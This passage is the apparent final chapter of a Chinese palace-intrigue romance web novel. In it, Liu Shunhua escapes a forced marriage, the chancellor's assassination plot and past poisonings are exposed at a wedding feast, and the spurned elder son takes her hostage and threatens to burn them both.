方才她故意拖着慢了一步,让喜娘踩到她的衣摆,想要引起宾客们的注意。 可惜,贺玄晖眼疾手快,计划落空。 一阵轻快的脚步声由远及近,门被推开,北风呼啸而入。 柳舜华止不住打了个寒颤,垂头看到那双绣着云纹的大红喜靴。 贺玄晖站在她面前,语气挡不住地兴奋,“舜华,我终于娶到你了。” 柳舜华不语,她开不了口。 贺玄晖不在意,自顾自地说着,“舜华,再等等我。等我处理好外头那些事,掀了盖头,喝了合卺酒,咱们就是正式的夫妻了。” 柳舜华在盖头下翻了个白眼。 “公子,前面的宾客都闹翻天了,说要见你。”丁宝在屋外提醒着。 贺玄晖看了一眼柳舜华,“舜华,等我。” 贺玄晖走了,屋内又恢复安静。 柳舜华知道,这次,他没那么快回来。 可她被下药,无法说话,行动困难,门外又有侍卫把守,想要硬闯出去,难如登天。 她必要要保持清醒,寻到合适的机会,找到贺玄度。 她心一横,用力咬破唇角。 一股血腥味充满口腔,剧烈的疼痛让她恢复一丝力气,伸手将碍事的盖头拿掉。 她看清了外面,站在两个侍卫。想要逃出去,必须先要对付他们。 莫说是手脚无力,便是她正常时,要对付两个壮汉,也是有心无力。 为今之计,只有智取,拼力一试。 杯盏落地,柳舜华捂住肚子躺在地上,不停地打滚。 屋外的侍卫听到动静,猛地推开门,看到柳舜华嘴角的血,愣在当场。 矮个子的侍卫慌张道:“中……中毒了?怎么办?” 大公子千叮万嘱,务必看好新娘子,如今新娘竟然在他们眼皮子底下被下毒。 另一名侍卫道:“你速去请大公子来,我在这守着。” 矮个子侍卫忙不迭地跑了出去。 另一名侍卫看着柳舜华,一动也不敢动。 柳舜华翻转过身,指了指桌上的茶水。 侍卫会意,忙倒了一杯茶水,递过去。 水杯递到唇边的一瞬,柳舜华举起手中的簪子,用尽全力刺向侍卫的大腿。 侍卫疼得一声惨叫,捂住自己的腿倒在地上。 柳舜华迅速从地上爬起,眼看就要跨出婚房,脚上一沉,被那侍卫牢牢攥住脚踝。 她挣扎着想要踢开他,奈何那侍卫抱得太死,根本无济于事。 一声骨裂的脆响突然炸开,侍卫整张脸凹陷下去,整个人如断线傀儡般横飞出去,重重砸在描金雕花床柱上。 柳舜华回头,一刹那,浑身血液都沸腾了。 满院积雪映着红梅,簌簌落下的花瓣里,一道熟悉的身影踏雪而来。 柳舜华就这么看着他,喉间发紧,她想叫他,却发不出一点声音。 贺玄度也静静地看着她,目光灼热得能融化冰雪。 柳舜华泪流满面。 一只结实有力的手臂伸过来,揽住她的肩膀,将她拉进怀中。 柳舜华紧紧贴着他胸膛,双手环抱着他的腰,再也不愿松开。【你现在阅读的是 】 第116章 大结局 第116章 第116章大结局(明…… 柳舜华抱着贺玄度不撒手。 贺玄晖说,“她”已经被烧死在那场大火里,这个世上再无柳舜华。 她以为,贺玄度不知道她还活着,所以,她拼了命自救。 被侍卫抱住腿的瞬间,她几乎就要绝望。 她逃不出去,她不想又要像上辈子一样,被困在后院。 然后,贺玄度出现了。 柳舜华将脸埋在他颈窝,滚烫的泪水浸透了他的衣襟。 “蓁蓁,别怕,我在呢。”贺玄度的手掌温暖而有力,轻轻拍着她的后背。 她说不出话,只能点头。 小心将她安放在软榻上,贺玄度转身利落地拖过那个昏迷的侍卫,连同方才跑出去被击晕那个,一起塞住嘴巴,绑了起来。 “蓁蓁,咱们回家。” 贺玄度俯身,挑开她身上累碍眼喜服,解下大氅,将她裹得严严实实,打横抱起。 柳舜华死死攥着贺玄度的衣襟,生怕醒来又是一场梦。 一路抱着柳舜华回院内,贺玄度忙唤人去请银纤姑姑。 芳草与妙灵正哭丧着脸,跪在廊下焚纸钱。 抬头见着死而复生的柳舜华,错愕片刻,两人踉跄着扑上前,确认不是幻觉后,号啕大哭。 “快去啊!”贺玄度急道。 两人反应过来,飞奔着跑去请人。 银纤学过几年医术,寻常疑难杂症难不倒她,匆忙赶来,替柳舜华把脉后,回屋取了药丸给她服下。 片刻,柳舜华渐渐恢复了些力气,勉强能开口说话。 “玄度。” 短短两个字像一把利刃,瞬间划开他强撑多日的铠甲。 守在榻边的贺玄度再也忍不住,猛地背过身去,压抑多时的情绪决堤而出,哭得像个受尽委屈的孩子,终于找到归家的路。 差一点,他就要失去蓁蓁。 差一点,他就再没有家了。 柳舜华从背后环住他,将脸贴在他紧绷的脊背上。 贺玄度听着她在耳边的呼吸,心中方觉安稳。 待贺玄度情绪平静,柳舜华才问:“皇上……如何了?芊芊在何处?” 今日,贺家欲在章台街刺杀刘九生。 算算时辰,此刻,刺杀行动已经开始。 贺玄度道:“你放心,章台街已安排妥当,九生不会有事。皇后娘娘由凉州军守着,很快你就能见到她了。” 听到凉州军,柳舜华才稍稍安心。都尉府受袭那一夜,她见识过凉州军的实力。 章台街,刘九生坐在轿撵内。 唯恐惊了圣驾,两侧商铺门窗紧闭。青砖地面覆着厚厚的积雪,整条街寂静无声,一片肃杀。 程三手握长枪,紧紧贴着轿撵,耳廓微动,屋脊传来极轻的咯吱声。 “皇上,小心。” 话音未落,两侧屋檐骤然爆出漫天箭雨! 程三长枪一横,枪尖挑飞破空而来的箭矢,火星迸溅。 几十名金吾卫重甲卫士瞬间收缩,将轿辇重重围起。这些人都是程三的心腹,得了令,举刀奋力抵挡。 箭雨方歇,檐角冰凌突然爆裂,刑风率领千机阁众人凌空扑下,朝着轿撵方向杀去。 很快,金吾卫将士与千机阁众人缠斗在一起,打得难分难解。千机阁不过二十余人,到底难敌金吾卫。不多时便一个个倒下,积雪被鲜血融化,一片猩红。 金吾卫虽仗着人多,占据上风,一阵拼杀过后,将士也已精疲力竭。 “咔嚓!” 沿街商铺的门板同时爆裂,相府豢养的死士见时机已到,破门而出。 金吾卫阵型瞬间被冲散,节节败退。 相府死士们见他们不敌,愈战愈勇,杀得正起兴。突然,方才已经倒地身亡的千机阁杀手迅速起身,挡住后路。 前后夹击,相府死士被团团围住,已无退路。 相府死士这才惊觉中 计,一步步被逼到拐角。 程三的枪尖滴着血,傲然上前,冷声道:“杀!” 一阵腥风血雨,相府死士被屠戮殆尽。 刘九生缓步踏出轿辇,垂眸扫过满地尸骸,“全部带走,送相府一份大礼。” 轿辇重新抬起,朝着相府而去。 刘九生目光直直地望着前方,此一去,前途未知,生死难测。 柳舜华预知到贺家会安排刺杀,他们才能提前部署,将死士一网打尽。可如何借着刺杀扳倒丞相,才是最大的难题。 他们借芊芊被毒杀之际,占得先机。为的就是彻底打乱丞相府的计划,所以下手必须要快。否则等贺家反应过来,反指他受人蛊惑,攀诬丞相,打着“清君侧”的旗号调动禁军,他们便真的无计可施了。 届时,所有人的下场,只会比刘昌还要惨。 他们都已无法回头,只能走下去,快一些,再快一些。 相府内觥筹交错,贺玄晖端坐主位,指尖轻叩酒樽,婉拒了一波又一波的敬酒。 他眼角余光始终瞥向厅外,刘九生离开已有半个时辰,前去探风的人还未回来。 正等着,便见管家匆匆穿过回廊,来禀说,今日大喜之日,天子亲临,丞相一高兴,已能下床,正朝这边而来。 说罢,便见程氏与贺容暄搀着贺丞相走进喜厅。 “恭喜丞相。”满座宾客纷纷离席行礼。 贺留善兴致颇高,对着众宾客点头示意。 程光祖喝了点酒,正在兴头上,见丞相过来,笑道:“姐夫,我就说冲喜有用吧。这一冲,您的病便好了。” 贺留善扫了他一眼,将桌上的酒杯换成茶水,举起道:“多谢诸位前来,贺某以茶代酒,敬各位一杯。” 众人举杯,酒水尚未送到嘴边,便听一阵齐刷刷的脚步声,气势逼人。 紧接着,一阵喧哗,惊呼惨叫伴着兵刃相击之声传来。近百名玄甲金吾卫蜂拥而至,将喜厅上下围住。 厅内宾客吓了一跳,大喜的日子,什么人竟敢在相府动起兵戈。 车骑将军皱眉上前,怒斥道:“真是反了,这里可是丞相府,没有我的调令,谁许你们进来的?” “张将军,是吾让他们来的。”刘九生笑着走了进来。 贺留善举杯的手僵在半空。 刘九生,没有死。 贺玄晖望着缓步而来的刘九生,脸色难看。 宾客慌忙跪地相迎。 贺留善反应过来,上前道:“皇上亲临,不胜惶恐。不知皇上去而复返,是何故?” 刘九生道:“没什么,只是回宫途中遇到了些意外,心血来潮,想送丞相府一份大礼。” 站在一旁的程三挥挥手,几十具血淋淋的尸体被扔了进来,堆叠在庭院内。 “啊!”一声,贺容暄与几位贵女无比恐惧地尖叫起来。 在场之人皆面如土色,惊恐后退。 一瞬间,贺丞相如坠冰窟,计划失败,刘九生已全然知晓。 他竭力控制着想要颤抖的身体,面上却丝毫不变,“皇上,今日是小儿大婚,在场皆是朝中重臣,您这是何意?” “正因众臣聚集,吾才想让大家见证……”刘九生抬眸,眼神压得人脊背发沉,“丞相谋逆。” 宾客们悚然一惊,一个个吓得大气都不敢喘。 贺玄晖顿觉不妙,朝着任卫尉的堂兄使了个眼色,他瞬间会意,取出袖中的烟雾弹便要朝天上射去。 咚的一声响,烟雾弹跌落在地,贺家堂兄一声惨叫,手臂顿时鲜血直流。 周松手持弓箭,从廊后走出,淡定立在一旁。 贺玄度紧随其后,像个再普通不过的看客,慵懒地靠在廊柱上,笑道:“怎么,想叫人?这个时候叫人显得多心虚。咱们贺家那是身正不怕影子斜,决不能落人口实。我奉劝在座各位,老老实实地待着,不然刀剑无眼,伤了人,这大喜的之日,多晦气。” 贺玄晖怒视着贺玄度,怎么就漏算了他。 他这么一闹,算是堵死了他们向外求援的出路。 好在方才一听到异动,车骑将军身边的侍卫便出去查探,只盼他能顺利出府。 贺留善气得扶额,这个逆子,关键时刻,竟跑出来捣乱。 然而,此刻他根本无暇顾及,只眯起一双眼,盯着刘九生,“皇上,老臣力排众议,辅佐皇上,恪尽职守,何来谋逆之说?” 刘九生指着地上的尸身,“章台街上,这些死士当街刺杀吾,难道不是丞相的意思?” “绝无此事。”贺丞相一口否决。 刘九生回头,一个眼神,躲在一旁的刑风站了出来。 “贺丞相,咱们又见面了。您费尽心机,将我们从天牢内提出来,论理说,我们应当报答。只是我们已经改邪归正,协助死士弑君这种事,断然做不出,还望丞相见谅。” 此前贺留善曾策反一个千机阁杀手,又着人暗示天牢守卫放松防备,将千机阁一众要犯顺利放出。 被策反的杀手授意鼓动刑风刺杀刘九生,为千机阁众人报仇雪恨。 刑风信誓旦旦,扬言必要让刘九生血债血偿,如今竟转眼站在了刘九生身边。 毕竟是谋杀当今皇上,此事贺留善父子从未露面,然而刑风却一副受他指使的做派,让贺留善大为恼怒。 贺丞相面色铁青:“一派胡言,本相何时派人救过你们。” 刑风道不解道:“难道不是丞相?可放我们出来之人,分明暗示过要刺杀皇上的。整个大安,除了丞相,竟还有人能手眼通天,将我们这些死刑犯提出,当真是……令人细思极恐啊。” 谁人不知千机阁众人是要犯,天牢更是铜墙铁壁。彭城王党羽早已伏诛,若无人相助,这群死囚如何能神不知鬼不觉地脱身? 众人面面相觑,看向贺丞相的眼神明显有了不同。 “放肆!”贺玄晖厉喝一声,箭步上前指着刑风:“一个死囚也敢在此妖言惑众!” 他转向皇上,拱手道:“陛下明鉴,他是千机阁重犯,彭城王余党,您怎可听信一个死刑犯的片面之词。” 贺容暄眸光一转,忙站到贺玄晖身边,“此人面目狰狞,一看就是奸邪之徒。也不知是受了谁的指使,竟敢在此污蔑当朝丞相。” 她说这话时,眼风若有若无地扫向刘九生。 刑风自始至终都站在刘九生身侧,贺容暄这一记眼刀,分明是在暗示这一切都是皇上的安排。 厅中气氛顿时凝滞,几位见惯风浪的老臣不自觉地往后退了几步,生怕卷入这场暗流汹涌的博弈。 “呵……”一声嗤笑自廊下传来。 这一声笑得极轻,却足以打破厅内凝滞的气氛。 贺玄度慢条斯理地抚平袖口褶皱,“二妹倒是伶牙俐齿,只是我怎么记得,这掌管天牢的,似乎是程家人啊。你的意思是,程家勾结千机阁逆党,意图陷害父亲?” 程光祖闻言勃然变色,气急败坏道:“贺玄度!你休要血口喷人!” 方才还对贺家有利的形势,被这个贺家自己人,三言两语化解。 局势瞬息逆转。 贺留善眼神扫过贺玄度,若非眼下动手不便,他真想亲手了结这个逆子。 刘九生虽然活着,但那些死士已尽数被杀,死无对证。至于刑风,只要他咬死不认,刘九生又能奈他何。 他就不信,无凭无据,刘九生敢在众目睽睽之下对贺家出手。 师出无名,便是眼下动手,他也势必难以收场。 贺留善强压怒火,朝皇上深深一揖:“老臣对皇上一片赤诚,天地可鉴。皇上不知受了何人蛊惑,竟任由一个死刑犯构陷忠良。若因一个死囚的片面之词就怀疑忠良,只怕会寒了满朝文武的心啊。” 他再一抬眸,眼中尽是痛心之色,拳拳陈情道:“君臣离心,乃国之大忌。老臣恳请陛下明察,莫要中了贼人的离间之计。” 刘九生面色骤沉,贺留善这老狐狸果然狡诈,刻意将矛头转向君臣之道。企图引起在座朝臣同气相应,营造兔死狐悲之感。 若非他们早有后手,今日还真不好对付这老匹夫。 刘九生凝眉道:“看来贺相是铁了心不认了。” 贺留善身形笔直如松,声音铿锵有力,“未做之事,臣如何能认?更何况,微臣一手扶持皇上上位,为何要行刺杀之事?” 厅内群臣闻言,神色皆是一动。 原本因方才对峙而对贺相生出的几分疑窦,此刻又被这番言辞动摇。 长安城谁人不知,刘九生乃贺留善力排众议扶植上位。为了他,贺留善不遗余力对付彭城王,可谓尽忠尽责。 若没有贺留善,便不会有今日的刘九生。 如今要说贺相谋逆,于情于理,似乎都说不通。 刘九生唇角微扬,眼底闪过一丝锋芒,他等的就是这句话。 贺玄晖看着刘九生胜券在握的模样,回头瞥见贺玄度一脸悠然,心内突然涌上一股不祥的预感。 果然,刘九生缓缓开口,“为何?这个问题,恐怕要请教丞相夫人……哦,不对,是继夫人了。” 众人目光齐刷刷转向程氏,这与她一个后宅妇人又有何干? 程氏见刘九生提到她,做贼心虚,一双腿忍不住直打颤。 刘九生凤眸骤沉,目光利刃般扫过程氏,厉声问:“贺夫人,皇后与你无冤无仇,你为何要毒杀她?” 贺留善浑身发颤,一股刺骨寒意自脚底直蹿头顶,刘九生竟连这等隐秘都知晓了! 程氏吓得连连后退,贺容暄一把扶住她,死死按住她的臂膀。 程氏心一横,尖叫着道:“臣妇冤枉啊!我没有,我怎敢谋害皇后娘娘!” 众人皆是一惊,心中已有了猜测:莫非皇后娘娘不是生产不顺薨逝,而是被程氏毒死? 贺玄晖将母亲挡在身后,直视刘九生,“皇上,皇后娘娘不幸薨逝,臣 亦悲痛万分。只是,我母亲常年在后院,如何能动得了皇后娘娘?” 母亲遣人买药的那家店铺早已人去楼空,店主也已解决。 纵使刘九生查出皇后中毒,也绝无可能追查到母亲头上。 “是吗?贺大公子,您母亲的本事可大着呢!”一道清亮的嗓音自风中传来。 朔风忽起,院中红梅簌簌而落,如血的花瓣被风卷着扑进喜厅内。 柳棠华携着柳舜华,从洞门处漫天花雨中缓缓走出。 “鬼啊!”程氏发出一声凄厉的尖叫,死死抓住贺玄晖的衣襟,浑身抖若筛糠。 贺容暄双目圆睁,死死地盯着越来越近的两人,朱唇微张却发不出半点声音。 贺留善瞳孔剧缩,强撑的镇定瞬间瓦解。 满厅文武如遭雷击。 皇后娘娘还活着! 死在大火中的相府二少夫人,也活着! 贺玄晖目光落在活生生的皇后娘娘身上,脑中一片空白。又见一旁的柳舜华,一颗心像是浸在冰水里,从头凉到脚。 刘九生已有数日不见柳棠华,一见她走来,快步迎上前去,携了她的手放在掌心。 贺玄度跨过长廊,喜滋滋地站在柳舜华身边。 “她没死,柳舜华也没死。”程氏反应过来,高喊道:“你们看,她们都活着,我没杀人。” 皇上道:“不把芊芊藏起来,还要等着夫人杀第二次吗?” 柳棠华一声冷笑,“程氏,你还真是,不见棺材不掉泪。来人,请我叔母葛氏上来。” 很快,葛氏被两名金甲侍卫押着踉跄而入。 这位素来注重仪表的叔母,此刻衣衫单薄,鬓发凌乱,脸上还带着血红的掌印。 “叔母,”柳棠华垂首,脸上挂着笑,声音温和,“不如你来告诉诸位,差点要我命的那颗药丸,你是从何处得来的?” 葛氏面如死灰,重重跪倒在地,不停地磕着头,哭得声泪俱下,“皇后明鉴,我也是被人蒙蔽了。我是你叔母,怎么会害你呢,我是被人利用了啊!” 鲜血从她额头上流下,她猛地用手一擦,指着程氏骂道:“是她,是她骗我的。她说那是养荣丸,头胎吃了能保容颜不老,她便是凭借那药丸让丞相对她欲罢不能,死心塌地。” 葛氏说话向来没有分寸,如此一番话出口,厅内一片默然。 程氏与贺家兄妹面露尴尬,垂头不语。 贺丞相老脸挂不住,一阵红一阵白。 葛氏还在那骂,“我只是想从中间过一手,赚点钱贴补一下萋萋的嫁妆。天杀的,她竟骗我去杀人。” 程氏还在嘴硬,“你胡说,你不过一个小吏之妇,我什么时候见过你?” 葛氏腾一下站起,冲过去一把拽住程氏的头发,“明明是你请人约的我,你个老贼婆,倒撇得干净。看我不撕烂你这张嘴,让你再骗不了人。” 她动作太快,贺玄晖来不及阻止,等反应过来上前拉开,程氏已被她拽掉一大把头发,痛哭流涕。 “够了!”贺丞相额角青筋暴起,面色涨红,怒道:“皇上,您今日当着满厅众臣大动干戈,欺我儿辱我妻,如此狂悖忘恩,不怕天下人耻笑吗?” 程氏扶着散乱的鬓发,尽力维持端庄的模样,“这等市井泼妇的疯话,如何作得数?你们想要强行往我头上扣个谋逆的罪名,妄想。你们说是我下的毒,我倒是想问了,我身居后院,如何能将手伸到椒房殿去?” 下毒的是皇后娘娘的亲生母亲,若要问罪,那也是她自己的母亲。 刘九生看着柳棠华,温声道:“芊芊,你母亲,今日也来了。” 柳棠华长睫微颤,叹声道:“犯了错,总要承担,让她出来吧。” 孙氏被带了上来。 穿着素净,面容枯槁,仿佛一下老了十几岁。 一看到柳棠华,她泪流不止。 柳舜华见柳棠华别过脸去,朝她冷声道:“孙氏,皇后娘娘生产后,你都做过什么,今日就当着众宾客的面,原原本本道来。” 孙氏阴恻恻地看着葛氏与程氏,嘶声道“是葛氏同我说,她从神医那得来一个药丸,有固原培根之效。就连丞相夫人都用过,头胎后服用最佳。我只想着让皇后娘娘固宠,一时鬼迷心窍,被她哄骗着买了药,亲手送进宫去,逼迫着皇后娘娘吃下。” 语罢,她匍匐着跪在柳棠华脚下,哭得撕心裂肺:“我的儿啊,是娘对不起你。是娘蠢笨,被葛氏哄骗,被程氏算计,害你险些丧命。” 柳棠华静静立着,衣袍被风吹起。 她原以为,再见到母亲,她会恨,会痛,想问问她,在她心里,她究竟算什么? 可她什么都没说,心内仿佛空了一大块,木木的,什么也感觉不到。 直到一双柔软的手覆上她的掌心,柳棠华回头,冲着柳舜华一笑。 没关系,她还有姐姐。 在场宾客满脸震惊,被孙氏的话骇得怔在原地。 程氏竟如此毒辣,利用一个母亲去害自己的女儿? 罔顾人伦,简直闻所未闻! 人群中,几个儒生眉头深锁,不少人垂头私语。 程氏突然尖笑出声:“好啊,原来是要演这出母女反目的戏码。你们反目关我何事?” 贺玄晖紧跟着上前,“说了这么多,你们可有半分实证?莫须有的罪名,如何让诸位信服?” 贺玄度冷眼看着贺玄晖,唇角勾起一抹讥诮。 他走上前,朝着众人道:“不知各位是否还记得相府原配夫人,我的母亲?她当年,也是产后失血而亡。” 一石激起千层浪,众人一个头两个大,这又是什么高门隐秘? 听到万曼,程氏像是被踩了尾巴的猫,面目狰狞,“是她自己短命,与我何干?” 贺玄度还未动,贺留善已上前,一巴掌扇在她脸上。 程氏面颊上迅速浮现五道鲜红指印,踉跄着后退半步,不可置信地望着相伴数十年的夫君。成婚几十年,这是他第一次动手。 贺玄度愣住了,他从未想过,有生之年竟会亲眼看见父亲为亡母动怒。 就连贺留善自己,也愣住了。 贺留善转过头,不去看程氏凄楚可怜的眼神,“逝者已矣,她不欠你什么,你……口下留德。” 贺玄度冷笑一声,瞬间清醒。 他的愤怒,仅此而已。 贺玄度懒得再同她废话,手一挥,周松推着一个老妇人进来。 众人一瞧,那妇人衣着普通,畏畏缩缩的,怎么看都是寻常民妇。 程氏看见来人,双眼惊恐,浑身止不住发冷。 贺玄度目光扫过那妇人,缓缓看向贺留善,“父亲,您可还认得她?” 贺留善眯着眼,盯着老妇人看了许久,依旧一脸迷茫。 贺玄度忽地轻笑一声,“也是,父亲怎么会记得呢?你自己说,你是何人?” 老妇人颤巍巍抬头,一双浑浊的双眼,静静地看着贺留善,“相爷,我就是当年替先夫人接生的稳婆。” 贺留善身形猛然一晃,记忆如潮水般涌来,满目都是榻上那滩刺目的鲜血。 老妇人枯瘦的手指指向程氏,声音嘶哑,“当年,先夫人生产后,我在旁帮着伺候。有个嬷嬷找上我,让我给先夫人喂下一个药丸。我不肯,谁知她们早就盯上了我的儿子,设计让他输了一大笔钱。我为了替儿子还债,不得不应下。” 她垂下眼,泪水顺着沟壑纵横的脸颊滚落,“先夫人头胎也是我帮着照料,对我一直信任有加,我却狠下杀手……我不是人,是我活该,落得个孤苦无依的下场。” 贺玄度冷冷望着程氏,“你还有什么话说?” 程氏面色惨白如纸,没了方才的底气,只喃喃道:“都是假的,你们串通好的,假的。” 老妇人叹了一声,“夫人何必再自欺欺人,当年给我药丸那个嬷嬷,就是站在您身侧。她曾被热水烫到,我帮她处理过,她手臂内侧有块红色胎记。” 周松上前,一把攥过程氏身边瑟瑟发抖的王嬷嬷。 贺玄度一剑砍过去,王嬷嬷低下头,看着地上一大摊血迹,发出撕心裂肺一声惨叫。 周松捡起地上的断臂,扔掉碍事的衣袖,手臂内侧,赫然一块胎记。 站在后面的程氏早已吓飞了魂魄,贺容暄一声惊呼,一行泪不觉流下。 满座宾客噤若寒蝉。 贺玄度带血的剑一指,朝着断臂的王嬷嬷:“是不是你?” 王嬷嬷浑身一软,瘫坐在雪地里,双唇不停打颤,根本说不出话,不停地点头。 北风呜咽,翻卷着雪花撞进殿内。 一片雪花落在剑刃上,瞬间化作血水。 贺玄度收回剑,看着脸色惨白的贺留善,心中积压已久的愤怒倾泻而出,“母亲的死,是您一手纵容的。您踏着母亲的尸骨,一路青云直上,当真是得意啊。午夜梦回时,您可想过母亲冤死的亡魂?” 贺留善身形猛然一晃,整个人瞬间苍老。 他没有说话,望着眼前这个从未正眼瞧过的儿子,他长得多像她啊。 贺玄晖依旧试图回旋,“即便是王嬷嬷所为,又如何能证明是母亲授意?” 贺玄度笑出了眼泪:“贺玄晖,你当我们和满厅的宾客都是死人吗?事到如今,竟还狡辩。” 贺玄晖转头,看向一旁的车骑将军。 张原执掌北军,金吾卫亦属他麾下,只要方才那人逃出去,迅速调动宫中禁卫,控制住刘九生,他们便能绝地反击。 贺玄度看穿了他的心思,笑道:“兄长,我劝你还是别妄想趁乱出府去请禁军了,相府已经被团围住。” 怎么可能? 程三叛变,能调动的,只有忠于他的那区区不到百人的金吾卫。 “公子,此人鬼鬼祟祟躲在茅房,被我们发现了。”有人笑着,推了个人进来。 来人颇有几分眼熟,柳舜华仔细一瞧,正是吴江,凉州时那个围着芊芊身边讲故事的小将。 “将军,相府被凉州军围住了,根本出不去。”跪倒在地的亲卫抬头,朝着张原道。 凉州军?贺玄度竟私下调来凉州军。 贺玄晖只觉脊背一阵发冷,刘九生与贺玄度早有勾结。 还有,即便刑风倒戈,不过短短几日,他们怎么可能筹备如此周全? 刘九生看着车骑将军张原,淡声道:“张将军,跟着贺相谋逆,还是助朕肃清朝纲,该有个决断了。” 张毅冷眼旁观多时,眼底精光闪烁。他这位叔父虽执掌北军,但由贺留善一手扶持,始终受制于相府。今日若能择明主而从,便是从龙有功,到时候他便是张家的大功臣,定能扬眉吐气。 思及此,他猛地拽住张原袍角跪地,高声道:“臣等愿为陛下效死!” 张原看着已然伏地的侄子,无奈地闭上眼。 纵使贺留善对他有知遇之恩,可他却不能置张家一门荣辱于不顾。 他缓缓睁眼,终是屈膝跪倒,“老臣,愿听陛下差遣。” 一阵穿堂风掠过,卷起贺留善散乱的白发。他突然仰天大笑,笑着笑着,两行浊泪缓缓滑落。 大势已去,贺家今日,在劫难逃。 铎铃风中发出凄清的哀鸣,惊起檐下的栖鸦,羽翼划过苍穹,转眼隐没在渐沉的暮霭中。 贺留善缓缓环视满厅沉默的旧部,那些曾对他唯命是从的面孔,此刻无一不避开了他的目光。 最后,他的视线落在刘九生身上,嘶声道:“老臣……愧对皇上。” 膝盖一弯,贺留善缓缓跪下,像一株被风雪压弯的老松。 “臣愿以死谢罪,还请皇上能饶恕贺家人。” 程氏上前扶住贺留善,泪流满面,“相爷,是我无知,是我害了你,害了贺家。” 贺容暄浑身冰寒,满心惨淡。 她这一生出身显贵,自幼锦衣玉食,本可听兄长的劝,择个清贵人家安稳度日。 可她偏偏鬼迷心窍,处处攀比,一心要做人上人。 早知如此,她才不要当什么皇后,宁可永远做那个相府骄纵的二小姐。 贺家众人齐刷刷地跪倒在地,一片跪伏的身影中,贺玄晖孤松般傲然挺立,玉冠下的面容冷峻如冰。 刘九生眸光微动,视线刀锋般扫向这位贺家大公子。 贺玄晖在帝王威严的注视下,大步上前,大红喜袍扫过青砖,最终屈膝跪地。 然而,不等众人松一口气。 贺玄晖突然暴起,从袖中掏出一把匕首,直刺刘九生的咽喉。 贺玄度早有防备,飞身上前,一剑挑飞刺向刘九生匕首,一个回身,将贺玄晖踢倒在地。 贺玄晖重重摔在石阶上,狼狈爬起,染血的唇角却勾起一抹诡笑。 他猛地从怀中掏出一枚骨哨,尖锐的哨声瞬间刺破喜厅。 相府各处突然冲出几十名黑衣死士。 刀光如雪,这些死士并不恋战,只死死缠住贺玄度。 周松等人忙冲进来拼杀,贺玄度长剑挥舞,只觉得有些不对。 眼光忽一瞥,竟见贺玄晖直冲柳舜华而去。 “快拦住他!”贺玄度目眦欲裂。 然而还是晚了一步,一柄短刀已抵上柳舜华雪白的脖颈。 贺玄度杀红了眼,挥剑间死士已倒了大片。金吾卫终于冲破防线,将剩余死士绞杀殆尽。 “贺玄晖!”贺玄度嘶吼着向前冲去,却被满地尸骸绊了个踉跄,“你要什么?” 贺玄晖嘴角扯出一丝讥诮,带着近乎疯魔的愉悦,“我要她陪我一起,她终究是我的。” 厅内气氛紧张到极点,谁也不知贺玄晖到底要做什么。 就在这时,轮椅上的程嘉良突然狂笑一声,眼中翻涌着病态的狂喜,“你们看,这就是贺家光风霁月的大公子。此前老夫人寿辰,他就为了这个女人,将我推下水塘险些淹死。你们都不信,这下信了吧,哈哈哈……” 贺玄晖一直是贺家的典范,温文儒雅,君子端方。 程嘉良自出生起便被拿来与贺玄晖比,一直活在他的阴影下。 如今见他如此狼狈,只觉得心内畅快无比,积 压的妒恨在这一刻得到了宣泄,完全忘了自己的处境。 贺家人看着已经疯魔的贺玄晖,像看一个不认识的陌生人。 他挟持了自己的弟妹,还说出那样有悖人伦的话。 贺留善急得心口颤疼,“彰儿,你知不知道你在做什么?” 程氏也在一旁道:“儿啊,快回来,快回来。” 贺玄晖置若罔闻,挟着柳舜华一步步退后。 柳棠华不知柳舜华与贺玄晖的纠葛,急得眼泪直流,拉着刘九生道:“快,快救救姐姐。” 刘九生急道:“程三、吴江,刑风你们留下。周松,带几个人快跟上去。” 程三看着柳舜华倩影消失在转角,心内猛地一沉,他也想跟上去,但到底止住了脚步。 但愿,贺玄度能保得住她。 众人跟着贺玄晖,一直退至西竹院。 贺玄度不敢上前,生怕激怒他,隔空朝他道:“贺玄晖,你放开蓁蓁。你想要什么,我都可以给你。” 贺玄晖嘴角露出一抹笑,温雅得令人如沐春风,“二弟,你应当知道,今日大婚,我娶的便是舜华。舜华已经是我的妻子,我们生生世世都要在一起。” 柳舜华不顾架在脖子上的利刃,狠狠道:“谁要嫁给你,痴心妄想。” 贺玄晖并未动怒,反而低低一笑,温柔得近乎偏执。他抬手抚过柳舜华的脸颊,声音轻缓蛊惑:“舜华,你只是暂时忘了我。别怕,很快你就会想起来的。” 说着,他从袖中取出火折子,指尖一挑,幽蓝的火苗倏然窜起,映得他眉眼如画,却无端透出几分森然。 “这里本就不该存在。”他望向四周,笑意渐深,“我已命人浇了火油,原想一把火烧个干净……如今倒正好。”他凝视着柳舜华,眼底翻涌着疯狂与深情,“今日我们夫妻同葬,来世……你还做我的妻,可好?” “贺玄晖!你疯了?”石阶下,贺玄度目眦欲裂,厉声嘶吼。 贺玄晖居高临下,“贺玄度,我和舜华才是夫妻。便是死,也要死在一起。” 贺玄度眼底猩红,几乎咬碎了牙,攥紧的拳头青筋暴起,像只被逼入绝境的困兽。 他猛地向前踏出一步,嗓音嘶哑,“贺玄晖,你若敢拉着蓁蓁一起,我即刻便冲进去,便是死,我也不会让蓁蓁同你这个渣滓一起。你可以试试,看你快不快得过我。” 柳舜华眼泪夺眶而出,又不觉好笑。 贺玄度明明满身戾气,眼神却委屈又固执,活像个被抢了糖还要强撑凶狠的少年。 他这话说得莽撞,甚至有些幼稚,可字字句句都是剖心剜肺的真心,毫无保留地捧到她面前。 她看着贺玄度,眼神示意他不要轻举妄动。 贺玄晖却似乎被震慑住,举着火折子的手僵在半空。 他只想和柳舜华安安静静地在一起,再无人打扰。 柳舜华突然轻嗤一声,“贺玄晖,想和我死在一起,你配吗?” 贺玄晖一愣,他直觉,柳舜华似乎变了一个人。 她冷声道:“我已经因你死过一次,怎么,觉得不够,还要再杀我一次?” 贺玄晖怔怔道:“你说什么?” “上辈子,你将我关在后院,任由人欺辱不够,最后还害得我葬身火海。”大局已定,再无隐瞒的必要,柳舜华定定道:贺玄晖,你有什么脸,要我陪着你一起死。” 贺玄晖一阵锥心之痛,愣愣地看着柳舜华,声音哽咽,“舜华,你想起来了,你记起我了?” 柳舜华冷冷道:“是。贺玄晖,我不想死,更不想和你一起死。” 贺玄晖声音发颤,“舜华……你都想起来了,为什么不来找我,为什么……” 柳舜华转头,看着他,“因为,我再不想见到你。” “你撒谎,你根本没有记起来。舜华她不会如此待我,你撒谎。” 贺玄晖疯了一般,手中的火折子猛地甩飞出去。 “嗖”的一声,弓弦在空中剧烈地震颤,贺玄度毫不犹豫地朝着贺玄晖射了出去。 